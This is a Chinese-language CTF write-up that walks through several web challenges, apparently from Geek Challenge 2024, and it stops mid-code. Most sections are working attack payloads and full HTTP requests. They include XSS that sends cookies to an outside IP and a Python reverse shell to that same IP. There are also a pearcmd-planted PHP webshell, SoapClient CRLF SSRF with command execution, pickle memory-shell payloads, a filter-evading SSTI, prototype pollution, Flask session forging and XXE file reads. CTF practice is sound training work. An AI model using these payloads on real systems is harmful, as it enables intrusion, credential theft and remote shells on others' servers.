0x02 question problem_on_my_web 表白墙?先F12看看有没有什么http头的限制,没看到有,那测试,发现弹窗了
1 2 3 <script>alert(1)</script> If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=]
那把cookie带出来就行,不过貌似得重开一下靶机了,一直弹1
1 <body/**/onload="window.open('http://156.238.233.9:9999/'+document.cookie)">
emm没成功没有反应
1 <script>window.open('http://156.238.233.9:9999/'+document.cookie)</script>
还是不对,那用fetch带出cookie来
1 <script>fetch('http://156.238.233.9:9999/?a'+document.cookie)</script>
还是不行?
1 <script>alert(document.cookie)</script>
这么写反而是收到了flag
baby_upload 文件上传
CVE-2017-15715
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 POST /index.php HTTP/2 Host : 80-fb985bf1-f567-480e-9a3a-0ed6f71f9d10.challenge.ctfplus.cnContent-Length : 417Cache-Control : max-age=0Sec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Origin : https://80-fb985bf1-f567-480e-9a3a-0ed6f71f9d10.challenge.ctfplus.cnContent-Type : multipart/form-data; boundary=----WebKitFormBoundaryTydF0xs9mhTjHWpPUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : same-originSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentReferer : https://80-fb985bf1-f567-480e-9a3a-0ed6f71f9d10.challenge.ctfplus.cn/index.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Priority : u=0, i------WebKitFormBoundaryTydF0xs9mhTjHWpP Content-Disposition: form-data; name="upload_file" ; filename="1.php" Content-Type: application/octet-stream <?php phpinfo ();?> ------WebKitFormBoundaryTydF0xs9mhTjHWpP Content-Disposition: form-data; name="name" 1 .jpg.php------WebKitFormBoundaryTydF0xs9mhTjHWpP Content-Disposition: form-data; name="submit" 上传 ------WebKitFormBoundaryTydF0xs9mhTjHWpP--
但是那个\n
绕过的没有成功,不知道怎么回事
ez_SSRF 直接拿源码/www.zip
calculator.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $admin ="aaaaaaaaaaaadmin" ;$adminpass ="i_want_to_getI00_inMyT3st" ;function check ($auth ) { global $admin ,$adminpass ; $auth = str_replace ('Basic ' , '' , $auth ); $auth = base64_decode ($auth ); list ($username , $password ) = explode (':' , $auth ); echo $username ."<br>" .$password ; if ($username ===$admin && $password ===$adminpass ) { return 1 ; }else { return 2 ; } } if ($_SERVER ['REMOTE_ADDR' ]!=="127.0.0.1" ){ exit ("Hacker" ); } $expression = $_POST ['expression' ];$auth =$_SERVER ['HTTP_AUTHORIZATION' ];if (isset ($auth )){ if (check ($auth )===2 ) { if (!preg_match ('/^[0-9+\-*\/]+$/' , $expression )) { die ("Invalid expression" ); }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { exit ("Hacker" ); }
这里面我们可以直接看到就是说有能够RCE的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );if (!isset ($_POST ['user' ])){ $user ="stranger" ; }else { $user =$_POST ['user' ]; } if (isset ($_GET ['location' ])) { $location =$_GET ['location' ]; $client =new SoapClient (null ,array ( "location" =>$location , "uri" =>"hahaha" , "login" =>"guest" , "password" =>"gueeeeest!!!!" , "user_agent" =>$user ."'s Chrome" )); $client ->calculator (); echo file_get_contents ("result" ); }else { echo "Please give me a location" ; }
这里再利用SoapClient
来进行访问,写poc,这里注意还有cookie
1 2 3 aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
自己写了半天,发现还是写不好,直接用Y4的这种吧,我自己写的那种直接加\r\n
的,就是容易写错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $target ="http://127.0.0.1/flag.php" ;$post_string ='expression=system("cat /flag > flag");' ;$headers =array ( 'x-forwarded-for: 127.0.0.1' , 'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0' ); $b = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'baozongwi^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' .(string )strlen ($post_string ).'^^^^' .$post_string ,'uri' => "test" ));$aaa = serialize ($b );$aaa = str_replace ('^^' ,"\r\n" ,$aaa );$aaa = str_replace ('&' ,'&' ,$aaa );echo urlencode ($aaa );
然后只要一部分插入的一部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /h4d333333.php?location=http://127.0.0.1/calculator.php HTTP/1.1 Host : 80-0b944c25-6b76-493d-9af4-1cf38c499e88.challenge.ctfplus.cnContent-Length : 276Pragma : no-cacheCache-Control : no-cacheOrigin : http://80-0b944c25-6b76-493d-9af4-1cf38c499e88.challenge.ctfplus.cnContent-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://80-0b944c25-6b76-493d-9af4-1cf38c499e88.challenge.ctfplus.cn/h4d333333.php?location=http://127.0.0.1/calculator.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8x-forwarded-for : 127.0.0.1Connection : closeuser =baozongwi%0 D%0 AContent-Type%3 A+application%2 Fx-www-form-urlencoded%0 D%0 Ax-forwarded-for%3 A+127.0.0.1 %0 D%0 AAUTHORIZATION%3 A+YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0 D%0 AContent-Length%3 A+38 %0 D%0 A%0 D%0 Aexpression%3 Dsystem%28 %22 cat+%2 Fflag+%3 E+flag%22 %29 %3 B
成功拿到flag(不得不说Y4师傅还是吊,这脚本比我自己之前写的好用多了)
100%的⚪ 查看源码解码拿到flag
ez_http 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 POST /?welcome=geekchallenge2024 HTTP/1.1 Host : 80-b5177aaf-e3f8-4300-b125-f5169d300c3f.challenge.ctfplus.cnContent-Length : 37Pragma : no-cacheCache-Control : no-cacheOrigin : http://80-b5177aaf-e3f8-4300-b125-f5169d300c3f.challenge.ctfplus.cnContent-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : https://www.sycsec.comAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Cookie : token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzI2NzgzMzIsIm5iZiI6MTczMjY3ODMzMiwiZXhwIjoxNzMyNjg1NTMyLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.ksF0QR3mGMhPK4cNAOjW_HTEYrzDdWqarotuynZEh98starven : I_Want_Flagx-real-ip : 127.0.0.1Connection : closeusername =Starven&password=qwert123456
ez_include 1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );require_once 'starven_secret.php' ;if (isset ($_GET ['file' ])) { if (preg_match ('/starven_secret.php/i' , $_GET ['file' ])) { require_once $_GET ['file' ]; }else { echo "还想非预期?" ; } }
require_once文件包含绕过之前在学习session文件包含的时候知道怎么绕过
1 ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
1 2 3 <?php $secret = "congratulation! you can goto /levelllll2.php to capture the flag!" ;?>
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ["syc" ])){ $file = $_GET ["syc" ]; $hint = "register_argc_argv = On" ; if (preg_match ("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i" , $file )) { die ("hint都给的这么明显了还不会做?" ); } if (substr ($_SERVER ['REQUEST_URI' ], -4 ) === '.php' ){ include $file ; } }
URI就是整个http路径,所以我们要把.php
写到最后,然后有register_argc_argv = On
这里一查就知道使用pearcmd.php
,现在就是想怎么绕过了
1 ?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php
有回显但是没有生效,看P牛的文章知道原因
1 2 3 4 5 6 7 8 9 10 11 12 GET /levelllll2.php?syc=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php HTTP/1.1 Host : 80-8beb2066-ceb4-4304-ba50-b14fd0a1c4b1.challenge.ctfplus.cnPragma : no-cacheCache-Control : no-cacheUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Connection : close
就getshell了,继续包含执行就行
ez_python 直接注册登录然后拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import osimport secretsfrom flask import Flask, request, render_template_string, make_response, render_template, send_fileimport pickleimport base64import blackapp = Flask(__name__) @app.route('/' ) def index (): return render_template_string(open ('templates/index.html' ).read()) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : usname = request.form['username' ] passwd = request.form['password' ] if usname and passwd: heart_cookie = secrets.token_hex(32 ) response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart" ) response.set_cookie('heart' , heart_cookie) return response return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): heart_cookie = request.cookies.get('heart' ) if not heart_cookie: return render_template('warning.html' ) if request.method == 'POST' and request.cookies.get('heart' ) == heart_cookie: statement = request.form['statement' ] try : heal_state = base64.b64decode(statement) print (heal_state) for i in black.blacklist: if i in heal_state: return render_template('waf.html' ) pickle.loads(heal_state) res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!" ) flag = os.getenv("GEEK_FLAG" ) or os.system("cat /flag" ) os.system("echo " + flag + " > /flag" ) return res except Exception as e: print ( e) pass return "Error!!!! give you hint: maybe you can view /starven_s3cret" return render_template('login.html' ) @app.route('/monologue' ,methods=['GET' ,'POST' ] ) def joker (): return render_template('joker.html' ) @app.route('/starven_s3cret' , methods=['GET' , 'POST' ] ) def secret (): return send_file(__file__,as_attachment=True ) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=False )
一眼丁真,pickle反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import picklefrom flask import Flask, requestimport base64app = Flask(__name__) class A (): def __reduce__ (self ): return (eval , ('app.add_route(lambda request:__import__("os").popen(request.args.get("cmd")).read(), "/shell", methods=["GET", "POST"])' ,)) a = A() b = pickle.dumps(a) print (base64.b64encode(b).decode())
bushi哥们,居然不行,换个内存马写一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import picklefrom flask import Flask, requestimport base64app = Flask(__name__) class A (): def __reduce__ (self ): return (eval , ('__import__("sys").modules["__main__"].__dict__["app"].before_request_funcs.setdefault(None,[]).append(lambda :__import__("os").popen(request.args.get("cmd")).read())' ,)) a = A() b = pickle.dumps(a) print (base64.b64encode(b).decode())
然后直接RCE
ez_js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <script> function submitForm ( ) { const username = document .getElementById ('username' ).value ; const password = document .getElementById ('password' ).value ; fetch ('/login' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : JSON .stringify ({ username, password }) }) .then (response => response.json ()) .then (data => console .log (data)) .catch (error => console .error ('Error:' , error)); } </script>
抓包拿到代码之后,感觉没啥有用信息,随便登录之后拿到响应包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 HTTP/1.1 200 OKDate : Wed, 27 Nov 2024 10:38:03 GMTContent-Type : text/html; charset=UTF-8Content-Length : 338Connection : closeX-Powered-By : ExpressAccept-Ranges : bytesCache-Control : public, max-age=0Last-Modified : Fri, 20 Sep 2024 03:04:08 GMTETag : W/"152-1920d630c40"Cache-Control : no-cache<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > 账号或密码错误</title > <h1 > 账号和密码好像没对呢?</h1 > <h1 > Username:$ {{Author }} </h1 > <h1 > Password:len(password) = 6 弱密码&纯数字</h1 > </html >
嗯爆破就行,这还是比较好爆破的
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /login HTTP/1.1 Host : 3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cnContent-Length : 42User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Content-Type : application/jsonAccept : */*Origin : http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cnReferer : http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn/loginAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Connection : close{ "username" : "Starven" , "password" : "123456" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 function merge (object1, object2 ) { for (let key in object2) { if (key in object2 && key in object1) { merge (object1[key], object2[key]); } else { object1[key] = object2[key]; } } } module .exports = { merge };const { merge } = require ('./utils/common.js' );const path = require ('path' ); function handleLogin (req, res ) { var geeker = new function ( ) { this .geekerData = new function ( ) { this .username = req.body .username ; this .password = req.body .password ; }; }; merge (geeker, req.body ); if (geeker.geekerData .username === 'Starven' && geeker.geekerData .password === '123456' ) { if (geeker.hasFlag ) { const filePath = path.join (__dirname, 'static' , 'direct.html' ); res.sendFile (filePath, (err ) => { if (err) { console .error (err); res.status (err.status ).end (); } }); } else { const filePath = path.join (__dirname, 'static' , 'error.html' ); res.sendFile (filePath, (err ) => { if (err) { console .error (err); res.status (err.status ).end (); } }); } } else { const filePath = path.join (__dirname, 'static' , 'error2.html' ); res.sendFile (filePath, (err ) => { if (err) { console .error (err); res.status (err.status ).end (); } }); } } module .exports = { handleLogin };
可以看到common.js
是可以进行污染的,merge(geeker, req.body);
直接污染就行
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /login HTTP/1.1 Host : 3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cnContent-Length : 71User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Content-Type : application/jsonAccept : */*Origin : http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cnReferer : http://3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cn/loginAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Connection : close{ "username" : "Starven" , "password" : "123456" , "__proto__" : { "hasFlag" : true } }
fuzz了好几个字典发现url字符会有不同回显
1 2 就这还想要flag? 还是和登陆一样,我只是略施小计,你知道咋绕过吗?
那么肯定是传json了
1 { "username" : "Starven" , "password" : "123456" , "hasFlag" : true }
这样子不能过要绕过,这个和infernity 师傅进行过讨论,我只能说纯抽象啊,而且传参使用数组害的用syc链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 GET /flag?syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true} HTTP/2 Host : 3000-e3c8535a-5b1c-4fbf-915b-13c41ab64ff3.challenge.ctfplus.cnPragma : no-cacheCache-Control : no-cacheSec-Ch-Ua : "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : "Windows"Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-Dest : documentAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Sec-Fetch-User : ?1Priority : u=0, i
SecretInDrivingSchool 源码里面拿到路径看到是要进后台了,注册都点不动?
经过我的经验这种东西,top1000爆破不出来,所以我们就写syc
的各种形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def generate_combinations (s ): n = len (s) combinations = [] for i in range (2 ** n): combination = [] for j in range (n): if (i >> j) & 1 : combination.append(s[j].upper()) else : combination.append(s[j].lower()) combinations.append('' .join(combination)) return combinations input_string = "syc" result = generate_combinations(input_string) for combo in result: print (combo)
为啥呢,我爆破弱密码基本比赛从来没有爆破出来过,所以这是经验之谈,进来是一个简单的后台直接插入代码即可
马是没成功的,但是flag还是拿到了,不知道为啥antsword链接不上
我进行本地测试发现也连接不上
最后过了十几分钟发现了原因
后来和几个师傅一起讨论知道了原因,cola 师傅找到了一篇文章,我们看到最后的Wireshark的包就懂了
assert种马
Can_you_Pass_me 一个SSTI注入,能梭哈绝对不手动,毕竟有回显
1 2 3 {%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))("\\x6c\\x73\\x20\\x2f")|attr(\'r\'\'ead\'))()%} {%print ((((joiner|attr(\'_\'\'_init__\')|attr(\'_\'\'_globals__\')|attr(\'__g\'\'etitem__\'))(\'_\'\'_builtins__\')).__import__("o""s")|attr(\'p\'\'open\'))("\\x63\\x61\\x74\\x20\\x2f\\x66\\x2a\\x20\\x3e\\x20\\x2f\\x74\\x6d\\x70\\x2f\\x66\\x6c\\x61\\x67")|attr(\'r\'\'ead\'))()%}
然后就发现flag始终写不出来,那就弹吧
1 https://www.ddosi.org/shell/
用这个网站
1 export RHOST="156.238.233.9" ;export RPORT=9999 ;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
py_game 注册登录看到是普通用户下意识F12找验证,看到cookie里面有个session
1 flask-unsign --unsign --cookie 'eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYmFvem9uZ3dpIn0.Z0fmAw.Enwu33iLTu4gO_fnimUfrwaV0gc' --wordlist
中途由于字典原因还重新安装了一下
爆破出来了,那么伪造成admin
1 2 3 flask-unsign --sign --cookie "{'_flashes': [('success', '登录成功')], 'username': 'admin'}" --secret 'a123456' eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0fp6w.MzLPkoTlsTFYslDhYDkMgU3izyQ
替换之后拿到源码,在线反编译一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 import jsonfrom lxml import etreefrom flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonifyapp = Flask(__name__) app.secret_key = 'a123456' app.config['xml_data' ] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>' class User : def __init__ (self, username, password ): self .username = username self .password = password def check (self, data ): if self .username == data['username' ]: return self .password == data['password' ] return False admin = User('admin' , '123456j1rrynonono' ) Users = [admin] def update (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and isinstance (v, dict ): update(v, dst.get(k)) else : dst[k] = v if hasattr (dst, k) and isinstance (v, dict ): update(v, getattr (dst, k)) continue setattr (dst, k, v) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] for u in Users: if u.username == username: flash('用户名已存在' , 'error' ) return redirect(url_for('register' )) new_user = User(username, password) Users.append(new_user) flash('注册成功!请登录' , 'success' ) return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] for u in Users: if u.check({'username' : username, 'password' : password}): session['username' ] = username flash('登录成功' , 'success' ) return redirect(url_for('dashboard' )) flash('用户名或密码错误' , 'error' ) return redirect(url_for('login' )) return render_template('login.html' ) @app.route('/play' , methods=['GET' , 'POST' ] ) def play (): if 'username' in session: with open ('/app/templates/play.html' , 'r' , encoding='utf-8' ) as file: play_html = file.read() return play_html flash('请先登录' , 'error' ) return redirect(url_for('login' )) @app.route('/admin' , methods=['GET' , 'POST' ] ) def admin_route (): if 'username' in session and session['username' ] == 'admin' : return render_template('admin.html' , username=session['username' ]) flash('你没有权限访问' , 'error' ) return redirect(url_for('login' )) @app.route('/downloads321' ) def downloads321 (): return send_file('./source/app.pyc' , as_attachment=True ) @app.route('/' ) def index (): return render_template('index.html' ) @app.route('/dashboard' ) def dashboard (): if 'username' in session: is_admin = session['username' ] == 'admin' user_tag = 'Admin User' if is_admin else 'Normal User' return render_template('dashboard.html' , username=session['username' ], tag=user_tag, is_admin=is_admin) flash('请先登录' , 'error' ) return redirect(url_for('login' )) @app.route('/xml_parse' ) def xml_parse (): try : xml_bytes = app.config['xml_data' ].encode('utf-8' ) parser = etree.XMLParser(load_dtd=True , resolve_entities=True ) tree = etree.fromstring(xml_bytes, parser) result_xml = etree.tostring(tree, pretty_print=True , encoding='utf-8' , xml_declaration=True ) return Response(result_xml, mimetype='application/xml' ) except etree.XMLSyntaxError as e: return str (e), 400 black_list = [ '__class__' .encode(), '__init__' .encode(), '__globals__' .encode() ] def check (data ): for i in black_list: if i in data: return False return True @app.route('/update' , methods=['POST' ] ) def update_route (): if 'username' in session and session['username' ] == 'admin' : if request.data: try : if not check(request.data): return 'NONONO, Bad Hacker' , 403 data = json.loads(request.data.decode()) if all (data.values()): update(data, User) return jsonify({'message' : '更新成功' }), 200 return 'No data provided' , 400 except Exception as e: return f'Exception: {str (e)} ' , 500 return redirect(url_for('login' )) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 , debug=False )
拿到之后看到太多了,放编译器里面慢慢看
看到有污染的地方,搜索一下发现,在/update
下面可以污染,不过要绕过check,看一下check
大概就是这一张图,然后我们在/xml_parse
就可以拿到回显,因为进行了xml文档的更新
先写poc
1 2 3 4 5 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo > &xxe; </foo >
unicode绕过就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 payload = { "__init__" : { "__globals__" : { "app" : { "config" : { "xml_data" : ''' <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo> ''' } } } } }
但是这里我犯了一个不知道的错误就是在json中是不能使用'''
的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 POST /update HTTP/1.1 Host : 80-eeb40e0d-c438-4233-8caa-757667ab7258.challenge.ctfplus.cnCache-Control : max-age=0Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://80-eeb40e0d-c438-4233-8caa-757667ab7258.challenge.ctfplus.cn/loginAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8Cookie : session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Z0fp6w.MzLPkoTlsTFYslDhYDkMgU3izyQConnection : closeContent-Type : application/jsonContent-Length : 353{ "\u005F\u005Finit__": { "\u005F\u005Fglobals__": { "app": { "config": { "xml_data": " <? xml version=\"1.0\" encoding=\"UTF-8\"?> \n<!DOCTYPE foo [\n <!ENTITY xxe SYSTEM \"F\u0069\u006C\u0065:///etc/passwd\">\n]>\n<foo>&xxe;</foo>" } } } } }
这里还有个奇怪的地方就是不能用小写的f来使用file协议(算了当特性)
然后继续读就可以了
jwt_pickle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import base64import hashlibimport randomimport stringfrom flask import Flask,request,render_template,redirectimport jwtimport pickleapp = Flask(__name__,static_folder="static" ,template_folder="templates" ) privateKey=open ("./private.pem" ,"rb" ).read() publicKey=open ("./public.pem" ,"rb" ).read() characters = string.ascii_letters + string.digits + string.punctuation adminPassword = '' .join(random.choice(characters) for i in range (18 )) user_list={"admin" :adminPassword} @app.route("/register" ,methods=["GET" ,"POST" ] ) def register (): if request.method=="GET" : return render_template("register.html" ) elif request.method=="POST" : username=request.form.get("username" ) password=request.form.get("password" ) if (username==None )|(password==None )|(username in user_list): return "error" user_list[username]=password return "OK" @app.route("/login" ,methods=["GET" ,"POST" ] ) def login (): if request.method=="GET" : return render_template("login.html" ) elif request.method=="POST" : username = request.form.get("username" ) password = request.form.get("password" ) if (username == None ) | (password == None ): return "error" if username not in user_list: return "please register first" if user_list[username] !=password: return "your password is not right" ss={"username" :username,"password" :hashlib.md5(password.encode()).hexdigest(),"is_admin" :False } if username=="admin" : ss["is_admin" ]=True ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?" )).decode()) token=jwt.encode(ss,privateKey,algorithm='RS256' ) return "OK" ,200 ,{"Set-Cookie" :"Token=" +token.decode()} @app.route("/admin" ,methods=["GET" ] ) def admin (): token=request.headers.get("Cookie" )[6 :] print (token) if token ==None : redirect("login" ) try : real= jwt.decode(token, publicKey, algorithms=['HS256' , 'RS256' ]) except Exception as e: print (e) return "error" username = real["username" ] password = real["password" ] is_admin = real["is_admin" ] if password != hashlib.md5(user_list[username].encode()).hexdigest(): return "Hacker!" if is_admin: serial_S = base64.b64decode(real["introduction" ]) introduction=pickle.loads(serial_S) return f"Welcome!!!,{username} ,introduction: {introduction} " else : return f"{username} ,you don't have enough permission in here" @app.route("/" ,methods=["GET" 